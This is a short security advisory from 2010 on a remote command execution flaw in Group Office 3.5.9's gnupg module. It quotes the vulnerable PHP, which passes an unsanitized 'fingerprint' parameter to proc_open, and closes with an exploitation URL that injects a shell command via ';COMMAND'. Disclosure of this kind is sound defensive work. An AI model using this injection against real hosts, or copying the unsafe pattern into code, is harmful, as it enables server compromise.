Group Office 3.5.9 Remote Command Execution

`# Title  
Group Office Remote Command Execution Vulnerability  
  
# Author  
ADEO Security  
  
# Published  
16/07/2010  
  
# Version  
3.5.9 (Possible all versions)  
  
# Vendor  
http://www.group-office.com  
  
# Download  
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download  
  
# Description  
"Take your office online with Group-Office groupware. Share projects,  
calendars, files and e-mail online with co-workers and clients. Easy  
to use and fully customizable, Group-Office takes online collaboration  
to the next level."  
  
# Credit  
Vulnerability founded by Canberk BOLAT  
- Mail: security[AT]adeo.com.tr  
- Web: http://security.adeo.com.tr , http://adeosecuritylabs.com  
  
# Vulnerability  
Remote attacker can execute commands on the system that host target  
web application. Its high level vulnerability. Attacker needs gnupg  
module that installed.  
  
modules/gnupg/json.php:  
$data = $gnupg->export($_REQUEST['fingerprint']);  
  
  
In json.php export method called with HTTP Request that's name  
fingerprint. In the export method, variable $fingerprint passed to  
run_cmd method.  
  
modules/gnupg/classes/gnupg.class.inc.php:  
public function export($fingerprint)  
{  
$this->run_cmd('--armor --export '.$fingerprint, $key);  
...  
private function run_cmd($cmd, &$output=null, &$errorcode=null,  
$data=null, $passphrase=null, $background=false)  
{  
...  
$complete_cmd .= ' '.$cmd;  
...  
$p = proc_open($complete_cmd,$this->fd, $this->pipes);  
...  
  
'complete_cmd' variable executed by application and if attacker  
manipulate request 'fingerprint' application executes attackers  
malicious codes.  
  
  
# Exploitation  
http://server/groupoffice/modules/gnupg/json.php?task=send_key&fingerprint=xyz;COMMAND  
  
`